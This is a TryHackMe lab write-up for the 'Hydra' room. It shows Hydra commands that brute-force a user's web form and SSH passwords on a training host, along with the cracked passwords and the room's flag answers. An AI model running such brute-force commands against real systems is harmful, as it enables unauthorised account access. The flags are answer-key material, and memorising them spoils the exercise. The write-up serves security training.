Hydra - Write-up - TryHackMe

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Room#

  • Name: Hydra
  • Profile: tryhackme.com
  • Difficulty: Easy
  • Description: Learn about and use Hydra, a fast network logon cracker, to bruteforce and obtain a website's credentials.

Hydra

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

pikaur -S hydra

[Task 2] Using Hydra#

#1

Use Hydra to bruteforce molly's web password. What is flag 1?

Answer: THM{2673a7dd116de68e85c48ec0b1f2612e}

$ hydra -l molly -P /usr/share/wordlists/passwords/rockyou.txt 10.10.26.252 http-post-form '/login:username=^USER^&password=^PASS^:F=incorrect'
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-16 22:20:39
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking http-post-form://10.10.26.252:80/login:username=^USER^&password=^PASS^:F=incorrect
[80][http-post-form] host: 10.10.26.252   login: molly   password: sunshine
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-09-16 22:20:44

#2

Use Hydra to bruteforce molly's SSH password. What is flag 2?

Answer: THM{c8eeb0468febbadea859baeb33b2541b}

$ hydra -l molly -P /usr/share/wordlists/passwords/rockyou.txt 10.10.26.252 -t 4 ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-16 22:23:39
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344398 login tries (l:1/p:14344398), ~3586100 tries per task
[DATA] attacking ssh://10.10.26.252:22/
[22][ssh] host: 10.10.26.252   login: molly   password: butterfly
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-09-16 22:24:29
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